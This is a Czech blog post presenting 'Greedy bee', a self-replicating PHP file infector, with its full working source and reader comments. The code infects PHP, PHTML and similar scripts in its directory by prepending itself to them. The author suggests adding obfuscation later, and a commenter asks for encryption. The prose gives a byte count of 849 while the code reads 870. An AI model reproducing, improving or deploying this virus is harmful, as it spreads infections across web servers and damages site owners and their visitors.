„Greedy bee“ – Jednoduchý infektor PHP souborů

„Greedy bee“ je jednoduchý infektor PHP skritů, který vznikl na popud několika jedinců, které zajímalo, jak je možné, že jsou webové stránky na hostinzích masově infikovány roztodivnými kódy (hlavně PHP a JS). Kód nepředpokládá žádné překážky v podobě open_basedir, safe_mode, disabled functions atd. a nebsahuje ani žádné bypassy.

Při spuštění vždy infikuje pouze jeden skript, a to s koncovkami „php“, „php3″, „php4″, „php5″, „php6″, „phtml“. Rozšíření o další koncovky spočívá v editaci pole $koncovky. Obsahuje ochranu proti několikanásobné infekci. Při editaci kódu je potřeba změnit u řádky:

1
$inf = fread($fr, 849);

číselnou hodnotu, která říká, kolik bajtů má být funkcí načteno. Neúplně načtený kód bude dělat problémy :)

Celý koncept by šel výrazně zmenšit (čemuž jsem se chtěl vyhnout kvůli čitelnosti kódu), případně znepřehlednit pomocí metody obfuskace[1] (možná přidám časem).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php	
	/*Greedy bee*/
	error_reporting(0);
 
	$koncovky = array(".php", ".php3", ".php4", ".php5", ".php6", ".phtml");
	$dir = opendir(dirname(__FILE__));
	$ret = 0;
 
	while(($file = readdir($dir)) !== FALSE){
		foreach($koncovky as $k){
			if(strtolower(substr($file, -(strlen($k)))) == $k){
				$ret = Infect($file);
				break;
			}
		}
 
		if($ret){
			break;
		}
	}
 
	closedir($dir);
 
	function Infect($file){
		$swap = "";
		$inf = "";
 
		$fr = fopen($file, "r");
 
		if(filesize($file) <= 0){
			return 0;
		}
 
		$swap = fread($fr, filesize($file));
		fclose($fr);
 
		if(strstr($swap, "/*Greedy bee*/")){
			return 0;
		}
 
		$fr = fopen(__FILE__, "r");
		$inf = fread($fr, 870);
		fclose($fr);
 
		$fw = fopen($file, "w");
		$inf .= $swap;
		fwrite($fw, $inf);
		fclose($fw);
 
		return 1;
	}
?>

[1] – http://en.wikipedia.org/wiki/Obfuscated_code

    • masterboot
    • Květen 1st, 2010

    takovy vir uz jsem dlouho hledal. diky moc. nesel by jeste nejak zasifrovat nebo ho nejak vylepsit? jinak mas skvely web a ziskal jsi pravidelneho ctenare :) pridavam do RSS ctecky :) hodne stesti pri psani dalsich clanku preje masterboot

    • RubberDuck
    • Květen 1st, 2010

    Pokud bude čas a chuť, rozšířím ho o nějaké další věci. Ale nebude to hned. Díky :) Tvá přízeň a pochvala mě těší :)

    • Bystroushaak
    • Květen 1st, 2010

    Pekny a jednoduchy. Da se z toho dobre pochopit jak to funguje. +1

    • RubberDuck
    • Květen 2nd, 2010

    Dík. To byl úmysl :)

  1. No trackbacks yet.